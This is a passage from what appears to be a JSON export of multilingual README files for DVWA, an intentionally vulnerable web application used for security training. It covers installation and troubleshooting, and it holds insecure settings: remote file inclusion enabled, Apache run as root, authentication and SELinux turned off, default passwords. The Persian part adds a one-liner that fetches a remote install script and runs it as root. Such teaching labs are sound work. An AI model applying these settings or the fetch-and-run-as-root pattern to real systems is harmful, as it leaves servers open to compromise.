on\n</IfModule>\n```\n\nبهذا:\n\n```php\n<IfModule mod_php5.c>\n    magic_quotes_gpc = Off\n    allow_url_fopen = On\n    allow_url_include = On\n</IfModule>\n```\n\n### فشل حقن الأوامر Command Injection\nقد لا يكون لدى Apache امتيازات عالية كافية لتنفيذ الأوامر على خادم الويب. إذا كنت تقوم بتشغيل DVWA على نظام Linux ، فتأكد من تسجيل الدخول كمستخدم root. أما في Windows  قم بتسجيل الدخول كـ administrator.\n\n### لماذا لا يمكن الاتصال بقاعدة البيانات في CentOS؟\n\nقد تواجه مشاكل مع SELinux، قم إما بتعطيل SELinux أو تشغيل هذا الأمر للسماح لخادم الويب بالتخاطب مع قاعدة البيانات:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### لأي مشكلة أخرى\n\nللحصول على أحدث معلومات استكشاف الأخطاء وإصلاحها ، يرجى قراءة كل من التذاكر المفتوحة والمغلقة في  الريبو  git repo:\n\n<https://github.com/digininja/DVWA/issues>\n\nقبل إرسال التذكرة ، يرجى التأكد من تشغيل أحدث إصدار من الكود من الريبو. هذا ليس أحدث إصدار ، هذا هو أحدث كود من الفرع الرئيسي master branch . \n\nفي حالة إنشاء تذكرة ، يرجى تقديم المعلومات التالية على الأقل:\n\n- نظام التشغيل\n- آخر 5 أسطر من سجل أخطاء خادم الويب مباشرة بعد حدوث أي خطأ تقوم بالإبلاغ عنه\n- إذا كانت المشكلة تتعلق بمصادقة قاعدة البيانات ، فانتقل إلى الخطوات السابقة أعلاه وقم بتصوير كل خطوة. وأرسلها مع لقطة شاشة لقسم ملف التكوين الذي يظهر مستخدم قاعدة البيانات وكلمة المرور.\n- وصف كامل للخطأ الذي يحدث ، وما تتوقع حدوثه ، وما حاولت فعله لإصلاحه. \"تعطل تسجيل الدخول\" لا يكفي بالنسبة لنا لفهم مشكلتك والمساعدة في حلها.\n\n\n- - -\n\n## حقن SQL في SQLite3 \n\n_ الدعم لهذا الأمر محدود ، قبل طرح مشكلتك، يرجى التأكد من استعدادك للعمل على تصحيح الأخطاء ، ولا تكتب ببساطة \"أنه لا يعمل\" ._\n\nبشكل افتراضي ، يتم تنفيذ SQLi و Blind SQLi على خادم MariaDB / MySQL المستخدم في الموقع ولكن من الممكن التبديل لإجراء اختبار SQLi  على SQLite3 بدلاً من ذلك.\n\nلن نتطرق إلى كيفية تشغيل SQLite3 مع PHP ، ولكنها من المفترض أن تكون حالة بسيطة وذلك بتثبيت حزمة `php-sqlite3` والتأكد من تفعيلها.\n\nلإجراء هذا التبديل ، قم ببساطة بتعديل ملف التكوين وإضافة أو تعديل هذه الأسطر:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nبشكل افتراضي ، يستخدم الملف `database/sqli.db` ، إذا أحدثت خللا فيه، فما عليك سوى نسخ محتويات ملف `database/sqli.db.dist` ولصقها في الملف الذي تعمل عليه.\n\nالتحديات هي نفسها تمامًا مثل MySQL ، ولكنك الآن تنفذها في SQLite3  بدلاً من MySQL.\n\n- - -\n\n## روابط\n\nالصفحة الرئيسية للمشروع: <https://github.com/digininja/DVWA>\n\n*تم إنشاؤها بواسطة فريقDVWA *\n"
  },
  {
    "path": "README.es.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA) es una aplicación web hecha en PHP/MySQL que es extremadamente vulnerable. Su principal objetivo es ayudar a profesionales de seguridad a poner a prueba sus habilidades y herramientas en un entorno legal, ayudar a desarrolladores web a comprender mejor los procesos de asegurar aplicaciones web y ayudar tanto a estudiantes como a profesores a aprender sobre seguridad de aplicaciones web en un entorno de clase controlado.\n\nEl objetivo de DVWA es **practicar algunas de las vulnerabilidades web más comunes**, con **varios niveles de dificultad**, con una interfaz sencilla y directa.\nTener en cuenta que hay **tanto vulnerabilidades documentadas como no documentadas** en este software. Esto es intencional. Le animamos a que intente descubrir tantos problemas como sea posible.\n- - -\n\n## ¡AVISO!\n\n¡Damn Vulnerable Web Application es extremadamente vulnerable! **No la suba a la carpeta html pública de su proveedor de alojamiento ni a ningún servidor expuesto a Internet**, ya que se verán comprometidos. Se recomienda utilizar una máquina virtual (como [VirtualBox](https://www.virtualbox.org/) o [VMware](https://www.vmware.com/)), que esté configurada en modo de red NAT. Dentro de una máquina huésped, puede descargar e instalar [XAMPP](https://www.apachefriends.org/) para montar el servidor web y la base de datos.\n\n### Descargo de responsabilidad\n\nNo nos hacemos responsables de la forma en que cualquier persona utilice esta aplicación (DVWA). Hemos dejado claros los propósitos de la aplicación y no debe usarse de forma malintencionada. Hemos advertido y tomado medidas para evitar que los usuarios instalen DVWA en servidores web activos. Si su servidor web se ve comprometido por una instalación de DVWA, no es responsabilidad nuestra, sino de la persona o personas que lo subieron e instalaron.\n\n- - -\n\n## Licencia\n\nEste archivo es parte de Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) es software libre: puede redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General GNU publicada por la Free Software Foundation, ya sea la versión 3 de la Licencia, o (a su elección) cualquier versión posterior.\n\nDamn Vulnerable Web Application (DVWA) se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; ni siquiera la garantía implícita de\nCOMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la Licencia Pública General GNU para más detalles.\n\nDebería haber recibido una copia de la Licencia Pública General GNU junto con Damn Vulnerable Web Application (DVWA). Si no es así, consulte <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internacionalización\n\nEste archivo está disponible en varios idiomas:\n- Árabe: [العربية](README.ar.md)\n- Chino: [简体中文](README.zh.md)\n- Español: [Español](README.es.md)\n- Francés: [Français](README.fr.md)\n- Persa: [فارسی](README.fa.md)\n- Turco: [Türkçe](README.tr.md)\n\nSi desea contribuir con una traducción, envíe una PR (Pull Request). Tenga en cuenta, sin embargo, que esto no significa que sólo tiene que usar Google Translate y enviar el resultado de traducción de la herramienta, pues será rechazado. Envíe su versión traducida añadiendo un nuevo archivo 'README.xx.md' donde xx es el código de dos letras del idioma deseado (basado en [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Descarga\n\nAunque existen varias versiones de DVWA, la única versión con soporte es la última del repositorio oficial de GitHub. Usted puede clonarlo desde el repositorio:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nO [descargar un ZIP con todos los archivos](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Instalación\n\n### Videos de Instalación\n\n- [Instalando DVWA en Kali corriendo en VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Instalación de DVWA en Windows usando XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Instalación de Damn Vulnerable Web Application (DVWA) en Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nLa forma más fácil de instalar DVWA es descargar e instalar [XAMPP](https://www.apachefriends.org/) si aún no tiene un servidor web configurado.\n\nXAMPP es una distribución de Apache muy fácil de instalar para Linux, Solaris, Windows y Mac OS X. El paquete incluye el servidor web Apache, MySQL, PHP, Perl, un servidor FTP y phpMyAdmin.\n\nEste [video](https://youtu.be/Yzksa_WjnY0) le guiará a través del proceso de instalación para Windows, pero debería ser similar para otros sistemas operativos.\n\n### Archivo de configuración\n\nDVWA se entrega con una plantilla del archivo de configuración que tendrá que copiar en su lugar y luego hacer los cambios apropiados. En Linux, suponiendo que se encuentra en el directorio DVWA, esto se puede hacer de la siguiente manera:\n\n```bash\ncp config/config.inc.php.dist config/config.inc.php\n```\n\nEn Windows, esto puede ser un poco más difícil si está ocultando las extensiones de archivo, si no está seguro acerca de esto, esta publicación de blog explica más sobre eso:\n\n[Cómo hacer que Windows muestre las extensiones de archivo](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Paquetes Linux\n\nSi utiliza una distribución de Linux basada en Debian, necesitará instalar los siguientes paquetes _(o sus equivalentes)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nSe recomienda hacer una actualización antes de esto, sólo para asegurarse de que va a obtener la última versión de todos los paquetes.\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nEl sitio funcionará con MySQL en lugar de MariaDB, pero recomendamos MariaDB, ya que funciona con su instalación por defecto y sin cambio alguno, mientras que usted tendrá que hacer cambios para hacer que para MySQL funcione correctamente.\n\n### Configuración de la base de datos\n\nPara configurar la base de datos, simplemente haga clic en el botón `Setup DVWA` en el menú principal, a continuación, haga clic en el botón `Create / Reset Database`. Esto creará / reiniciará la base de datos e insertará algunos datos de ejemplo.\n\nSi recibe un error al intentar crear su base de datos, asegúrese de que sus credenciales de la base de datos dentro de `./config/config.inc.php` están correctamente escritas.  *Esto difiere de config.inc.php.dist, que es un archivo de ejemplo.*\n\nLas variables son las siguientes por defecto:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nNota, si está usando MariaDB en lugar de MySQL (MariaDB viene por defecto en Kali), entonces no podrá usar el usuario root de la base de datos, por tanto, debe crear un nuevo usuario de base de datos. Para hacer esto, debe conectarse a la base de datos como usuario root y usar los siguientes comandos:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Desactivar Autenticación\n\nAlgunas herramientas no funcionan bien con mecanismos de autenticación, por lo que no se pueden utilizar con DVWA si la autenticación está habilitada. Para resolver esto, existe una opción de configuración para desactivar la verificación de autenticación. Para ello, simplemente establezca lo siguiente en el archivo de configuración:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nTambién tendrá que establecer el nivel de seguridad a uno que sea apropiado para las pruebas que desea hacer:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nEn este estado, puede acceder a todas las funciones sin necesidad de iniciar sesión y tampoco tener que configurar cookies.\n\n### Otras Configuraciones\n\nDependiendo de su sistema operativo, así como la versión de PHP, es posible que desee modificar la configuración por defecto. La ubicación de los archivos será diferente para cada máquina.\n\n**Permisos de carpeta**:\n\n* `./hackable/uploads/` - El servicio web necesita tener permisos de escritura en esta carpeta (para la subida de archivos).\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - El servicio web necesita tener permisos de escritura en esta carpeta (si desea usar PHPIDS).\n\n**Configuración de PHP**:\n* Para permitir la inclusión remota de archivos (RFI):\n    * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n* Para reducir opcionalmente la verbosidad ocultando los mensajes de advertencia de PHP:\n    * `display_errors = off` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**Archivo: `config/config.inc.php`**:\n\n* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Estos valores deben ser generados desde: https://www.google.com/recaptcha/admin/create\n\n### Credenciales por defecto\n\n**Nombre de usuario por defecto = `admin`**\n\n**Contraseña por defecto = `password`**\n\n_...puede ser fácilmente crackeada con fuerza bruta ;)_\n\nURL de Acceso: http://127.0.0.1/login.php\n\nNota: La URL de acceso será diferente si ha instalado DVWA en un directorio distinto.\n\n- - -\n\n## Contenedor Docker\n\nEsta sección del readme ha sido añadida por @thegrims, para soporte en temas Docker, por favor contactar con él o con @opsxcq que es quien mantiene la imagen Docker y el repositorio. Cualquier ticket de incidencia será probablemente referenciado a esto y cerrado.\n\n- [Página DockerHub](https://hub.docker.com/r/vulnerables/web-dvwa/)\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\nPor favor, asegúrese de que está utilizando aufs debido a problemas anteriores con MySQL. Ejecute `docker info` para comprobar su controlador de almacenamiento. Si no es aufs, por favor cámbielo. Hay guías para cada sistema operativo sobre cómo hacerlo, pero son bastante diferentes por lo que no lo cubriremos aquí.\n\n- - -\n\n## Solución de problemas\n\nEsta sección supone que está usando una distribución basada en Debian, como Debian, Ubuntu y Kali. Para otras distribuciones, siga el mismo procedimiento, pero actualice el comando donde corresponda.\n\n### He navegado hasta el sitio web y he obtenido un Error 404\n\nSi está teniendo este problema, necesita entender la ubicación correcta de los archivos. Por defecto, el directorio raíz de los documentos de Apache (el lugar donde empieza a buscar contenido web) es `/var/www/html`. Si coloca el archivo `hello.txt` en este directorio, para acceder a él deberá navegar a `http://localhost/hello.txt`.\n\nSi crea un directorio y pone el archivo allí - `/var/www/html/mydir/hello.txt` - tendrá que navegar a `http://localhost/mydir/hello.txt`.\n\nLinux distingue por defecto entre mayúsculas y minúsculas, por lo que en el ejemplo anterior, si intentara navegar a cualquiera de estos sitios, obtendría un mensaje `404 Not Found`:\n\n- http://localhost/MyDir/hello.txt\n- http://localhost/mydir/Hello.txt\n- http://localhost/MYDIR/hello.txt\n\n¿Cómo afecta esto al DVWA? La mayoría de la gente utiliza git para obtener el DVWA en `/var/www/html`, esto les da el directorio `/var/www/html/DVWA/` con todos los archivos DVWA dentro de él. Entonces navegan a `http://localhost/` y obtienen un `404` o la página de bienvenida por defecto de Apache. Como los archivos están en DVWA, debe navegar a `http://localhost/DVWA`.\n\nOtro error común es navegar a `http://localhost/dvwa` que dará un `404` porque `dvwa` no es `DVWA` en lo que se refiere a la correspondencia de directorios de Linux.\n\nAsí que después de la instalación, si intenta visitar el sitio y obtiene un `404`, piense dónde instaló los archivos, dónde están en relación con el directorio raíz de documentos, y recuerde si utilizó mayúsculas o minúsculas en ese directorio.\n\n### \"Access denied\" ejecutando setup\n\nSi ve lo siguiente al ejecutar el script de instalación significa que el nombre de usuario o la contraseña en el archivo de configuración no coinciden con los configurados en la base de datos:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nEl error le está diciendo que está usando el nombre de usuario `notdvwa`.\n\nEl siguiente error indica que en el archivo de configuración ha escrito un nombre de base de datos equivocado.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nEstá diciendo que está usando el usuario `dvwa` y tratando de conectarte a la base de datos `notdvwa`.\n\nLo primero que hay que hacer es comprobar que lo que se cree que ha puesto en el fichero de configuración es realmente lo que está ahí.\n\nSi coincide con lo que se espera, lo siguiente es comprobar que se puede iniciar sesión como el usuario en cuestión a través de la línea de comandos. Asumiendo que tiene un usuario de base de datos `dvwa` y una contraseña `p@ssw0rd`, ejecute el siguiente comando:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*Nota: No hay espacio después de -p*\n\nSi ve lo siguiente, la contraseña es correcta:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nComo puede conectarse en la línea de comandos, es probable que haya algo mal en el archivo de configuración, compruebe dos veces y luego plantee un Issue si todavía no puede hacer que las cosas funcionen.\n\nSi ve lo siguiente, el nombre de usuario o la contraseña que está utilizando son incorrectos. Repita los pasos de [Database Setup](#database-setup) y asegúrese de usar el mismo nombre de usuario y contraseña durante todo el proceso.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nSi obtiene lo siguiente, las credenciales del usuario son correctas pero el usuario no tiene acceso a la base de datos. De nuevo, repita los pasos de configuración y compruebe el nombre de la base de datos que está utilizando.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nEl último error que puede obtener es el siguiente:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nEsto no es un problema de autenticación, sino que indica que el servidor de base de datos no se está ejecutando. Puede iniciar el servidor con lo siguiente:\n\n```sh\nsudo service mysql start\n```\n\n### Método de autenticación desconocido\n\nCon las versiones más recientes de MySQL, PHP ya no puede comunicarse con la base de datos en su configuración por defecto. Si intenta ejecutar el script de instalación y obtiene el siguiente mensaje significa que tiene la configuración por defecto.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nTiene dos opciones, la más fácil es desinstalar MySQL e instalar MariaDB. La siguiente es la guía oficial del proyecto MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternativamente, siga estos pasos:\n\n1. Como root, edite el siguiente archivo `/etc/mysql/mysql.conf.d/mysqld.cnf`.\n2. Bajo la línea `[mysqld]`, añada lo siguiente:\n  `default-authentication-plugin=mysql_native_password`.\n3. Reinicie el servidor de base de datos: `sudo service mysql restart`\n4. Compruebe el método de autenticación del usuario de la base de datos:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. Es probable que vea `caching_sha2_password`. Si es así, ejecute el siguiente comando:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n6. Al volver a ejecutar la verificación, ahora debería ver `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nDespués de todo esto, el proceso de configuración debería funcionar con normalidad.\n\nSi desea más información consulte la siguiente página: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Database Error #2002: No such file or directory.\n\nEl servidor de base de datos no se está ejecutando. En una distro basada en Debian esto se puede hacer con:\n\n```sh\nsudo service mysql start\n```\n\n### Errores \"MySQL server has gone away\" y \"Packets out of order\"\n\nHay algunas razones por las que podría estar obteniendo estos errores, pero la más probable es que la versión del servidor de base de datos que está ejecutando no sea compatible con la versión de PHP.\n\nEsto se encuentra de forma más común cuando se está ejecutando la última versión de MySQL y PHP, y estás no se llevan bien. El mejor consejo, deshágase de MySQL e instale MariaDB ya que esto no es algo con lo que podamos ayudarte.\n\nPara más información, vea:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### La Inyección de Comandos no funcionará\n\nEs posible que Apache no tenga privilegios suficientes para ejecutar comandos en el servidor web. Si está ejecutando DVWA en Linux asegúrese de que ha iniciado sesión como root. Bajo Windows inicie sesión como Administrador.\n\n### ¿Por qué no se puede conectar la base de datos en CentOS?\n\nPuede estar teniendo problemas con SELinux.  Desactive SELinux o ejecute este comando para permitir que el servidor web se comunique con la base de datos:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Cualquier otra cosa\n\nPara obtener la información más reciente sobre solución de problemas, lea los tickets abiertos y cerrados en el repositorio git:\n\n<https://github.com/digininja/DVWA/issues>\n\nAntes de enviar un ticket, por favor asegúrese de que está ejecutando la última versión del código del repositorio. No se trata de la última versión liberada (released), sino del último código disponible en la rama master.\n\nSi desea enviar un ticket, por favor envíe al menos la siguiente información:\n\n- Sistema operativo\n- Las últimas 5 líneas del log de errores del servidor web justo después de que se produzca el error del que está informando.\n- Si se trata de un problema de autenticación de base de datos, siga los pasos anteriores y haga una captura de pantalla de cada paso. Envíelas junto con una captura de pantalla de la sección del archivo de configuración que muestra el usuario y la contraseña de la base de datos.\n- Una descripción completa de lo que está fallando, lo que espera que ocurra y lo que ha intentado hacer para solucionarlo. \"inicio de sesión roto\" no es suficiente para que entendamos su problema y le ayudemos a solucionarlo.\n\n- - -\n\n## Inyección SQL en SQLite3\n\n_El soporte para esto es limitado, antes de abrir tickets en Issues, por favor asegúrese de que está preparado para trabajar en la depuración del problema, no se limite a decir \"no funciona\"._\n\nPor defecto, SQLi y Blind SQLi se hacen contra el servidor MariaDB/MySQL utilizado por el sitio, pero es posible cambiar la configuración para hacer las pruebas SQLi contra SQLite3 en su lugar.\n\nNo se va a cubrir cómo hacer que SQLite3 funcione con PHP, pero debería ser un simple caso de instalar el paquete `php-sqlite3` y asegurarse de que está habilitado.\n\nPara hacer el cambio, simplemente edite el archivo de configuración y añada o edite estas líneas:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nPor defecto se utiliza el fichero `database/sqli.db`, si lo estropea al archivo por error, simplemente copiar el archivo `database/sqli.db.dist` y sobreescribir el existente estropeado.\n\nLos retos son exactamente los mismos que para MySQL, sólo que se ejecutan contra SQLite3 en su lugar.\n\n- - -\n\n👨‍💻 Contribuyentes\n-----\n\nGracias por todas sus contribuciones y por mantener este proyecto actualizado. :heart:\n\nSi tienes una idea, algún tipo de mejora o simplemente quieres colaborar, eres bienvenido de contribuir y participar en el proyecto, siéntete libre de enviar tu PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Enlaces\n\nInicio del proyecto: <https://github.com/digininja/DVWA>\n\n*Creado por el Equipo de DVWA*\n"
  },
  {
    "path": "README.fa.md",
    "content": "# وب اپلیکیشن آسیب پذیر لعنتی\n\nوب اپلیکیشن آسیب پذیر لعنتی (DVWA)، یک وب اپلیکیشن مبتنی بر پی‌اچ‌پی/مای‌اسکیوال است که به شدت آسیب‌پذیر طراحی شده است. هدف اصلی این وب اپلیکیشن برای متخصصان امنیت می باشد که در یک محیط امن ابزار ها و توانایی خودشان را محک بزنند، به توسعه‌دهندگان کمک می کند تا نحوه ایمن سازی یک وب اپلیکیشن را متوجه شوند همچنین به دانش آموزان و معلمان کمک می کند تا در یک محیط تحت نظارت در مورد امنیت وب اپلیکیشن مطالعه کنند.  \n\nهدف DVWA، **تمرین بخشی از متداول‌ترین آسیب‌پذیری‌های وب**، در **سطوح متفاوتی از دشواری**، با بهرا‌گیری از یک رابط کاربری آسان است. \nلطفاً در نظر داشته باشد که در این نرم‌افزار آسیب‌پذیری‌های **مستند شده و مستند نشده** وجود دارد.\nاین عمدی است. شما را تشویق می‌کنیم که تا حد امکان سعی کنید مشکلات بیشتری را کشف کنید.\n\n- - -\n\n## هشدار!\n\nوب اپلیکیشن آسیب پذیر لعنتی، به‌ شکل خطرناکی آسیب‌پذیر است! **آن را در پوشه‌های اچ‌تی‌ام‌ال عمومی سرویس دهندهٔ میزبانی خود یا هر سروری که در اینترنت قرار دارد بارگذاری نکنید**، چراکه مورد نفوذ قرار خواهند گرفت. برای این کار استفاده از یک ماشین مجازی پیشنهاد می‌شود (مثل [ورچوال باکس](https://www.virtualbox.org/) یا [وی‌ام‌ویر](https://www.vmware.com/)) که در حالت شبکه‌ای NAT پیکربندی شده باشد. در داخل ماشین مجازی می‌توانید [زمپ](https://www.apachefriends.org/) را برای سرور وب و پایگاه دادهٔ خود دانلود کنید.\n \n### تکذیب‌نامه\n\nما در مورد اینکه از این اپلیکیشن (DVWA) چگونه استفاده می‌شود هیچ مسؤولیتی نمی‌پذیریم. ما هدف این برنامه را به صراحت بیان کرده‌ایم و از آن نباید برای مقاصد بدخواهانه استفاده شود. ما هشدارها و اقدامات خود را در جهت جلوگیری از نصب DVWA بر روی سرویس‌دهندگان وب برخط انجام داده‌ایم. اگر به سرور وب شما از طریق یک نسخه از DVWA نفوذ شد، تقصیری متوجه ما نیست. مسؤولیت آن بر عهدهٔ کسی است که آن را بارگذاری و نصب کرده است.\n\n- - -\n\n## مجوز\n\nاین فایل بخشی از وب اپلیکیشن آسیب پذیر لعنتی (DVWA) است.\n\nوب اپلیکیشن آسیب پذیر لعنتی (DVWA) یک نرم‌افزار آزاد است. شما می‌توانید آن را تحت مجوز نسخه سوم‌ یا به‌اختیر خودتان نسخه‌های جدید‌تری از مجوز عمومی گنو (GNU) که توسط بنیاد نرم‌افزار آزاد منشر شده است، توزیع کنید و/یا تغییر دهید.\n\nوب اپلیکیشن آسیب پذیر لعنتی (DVWA) به امید اینکه سودمند واقع شود توزیع شده است، لیکن بدون هیچگونه تضمینی، حتی به صورت ضمنی که برای مقاصد خاصی مناسب باشد ارائه می‌شود. مجوز عمومی گنو را برای اطلاعات بیشتر ببینید.  \n\nشما می‌بایست یک رونوشت از مجوز عمومی گنو را همرا با وب اپلیکیشن آسیب پذیر لعنتی (DVWA) دریافت کرده‌باشید. اگر این اتفاق نیفتاده است، <https://www.gnu.org/licenses/> را ببینید.\n\n- - -\n\n## بین‌المللی سازی\n\nاین فایل به زبان‌های مختلف دیگری موجود است:\n\n- انگلیسی: [English](README.md) (نسخهٔ مرجع)\n- عربی: [العربية](README.ar.md)\n- چینی: [简体中文](README.zh.md)\n- فرانسوی: [Français](README.fr.md)\n- کره ای: [한국어](README.ko.md)\n- لهستانی: [Polski](README.pl.md)\n- پرتغالی: [Português](README.pt.md)\n- اسپانیایی: [Español](README.es.md)\n- ترکی: [Türkçe](README.tr.md)\n- اندونزی: [Indonesia](README.id.md)\n- ویتنامی: [Vietnamese](README.vi.md)\n- ایتالیایی: [Italiano](README.it.md)\n  \nاگر مایل به ارائه ترجمه هستید، لطفاً یک PR ارسال کنید. البته توجه داشته باشید که این به این معنی نیست که فقط آن را از طریق Google Translate اجرا کنید و ارسال کنید، در غیر این صورت رد خواهد شد. نسخه ترجمه شده خود را با اضافه کردن یک فایل جدید 'README.xx.md' ارسال کنید که در آن xx کد دو حرفی زبان مورد نظر شما است (بر اساس [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n  \n- - -\n\n## دانلود\n\nدر حالیکه ممکن است نسخه‌های متفاوتی از DVWA در اطراف پراکنده شده باشند، تنها نسخه پشتیبانی شده،آخرین نسخه از مخزن رسمی گیت‌هاب است. شما یا می‌توانید آن را از طریق کلون کردن مخزن:\n\n```\n\ngit clone https://github.com/digininja/DVWA.git\n\n```\n\nیا [دانلود نسخهٔ زیپ‌شدهٔ فایلها](https://github.com/digininja/DVWA/archive/master.zip).\n- - -\n## نصب\n\n### نصب خودکار 🛠️\n\n**توجه داشته باشید، این یک اسکریپت رسمی DVWA نیست، بلکه توسط [IamCarron](https://github.com/iamCarron/) نوشته شده است. کار زیادی برای ایجاد این اسکریپت انجام شده است و وقتی ایجاد شد، هیچ کار مخربی انجام نداد، با این حال توصیه می‌شود محظ احتیاط قبل از اجرای کورکورانه اسکریپت روی سیستم خود، آن را بررسی کنید. لطفاً هرگونه اشکالی را به [IamCarron](https://github.com/iamCarron/) گزارش دهید، نه اینجا.**\n\nیک اسکریپت پیکربندی خودکار برای DVWA در دستگاه‌های مبتنی بر دبیان، از جمله کالی، اوبونتو، کوبونتو، لینوکس مینت، زورین او اس...\n\n**توجه: این اسکریپت به دسترسی روت نیاز دارد و برای سیستم‌های مبتنی بر دبیان طراحی شده است. مطمئن شوید که آن را با کاربر روت اجرا می‌کنید.**\n\n#### الزامات نصب\n\n#### یک خطی\nاین دستور، اسکریپت نصب نوشته شده توسط [@IamCarron](https://github.com/IamCarron) را دانلود و به طور خودکار اجرا می‌کند. اگر ما به نویسنده و اسکریپت، همانطور که در زمان بررسی آن بود، اعتماد نداشتیم، این مورد در اینجا لحاظ نمی‌شد، اما همیشه احتمال سوءاستفاده‌ی کسی وجود دارد، بنابراین اگر از اجرای کد شخص دیگری بدون بررسی آن توسط خودتان احساس امنیت نمی‌کنید، مراحل دستی را دنبال کنید و می‌توانید پس از دانلود، آن را بررسی کنید.\n\n```sh\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### اجرای دستی اسکریپت\n\n۱. **اسکریپت را دانلود کنید:**\n\n```sh\nwget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n```\n\n۲. **اسکریپت را قابل اجرا کنید**\n\n```sh\nchmod +x Install-DVWA.sh\n```\n\n۳. **اسکریپت را با دسترسی root اجرا کنید:**\n\n```sh\nsudo ./Install-DVWA.sh\n```\n\n  ### ویدئو‌های نصب\n- [نصب بر کالی‌لینوکس در ورچوال‌باکس](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [نصب در وینوز با استفاده از زمپ](https://youtu.be/Yzksa_WjnY0)\n- [نصب بر روی ویندوز ۱۰](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### ویندوز+زمپ\n\nاگر تا به حال تنظیمات وب سرور را انجام نداده‌اید، ساده‌ترین راه برای نصب DVWA دانلود و 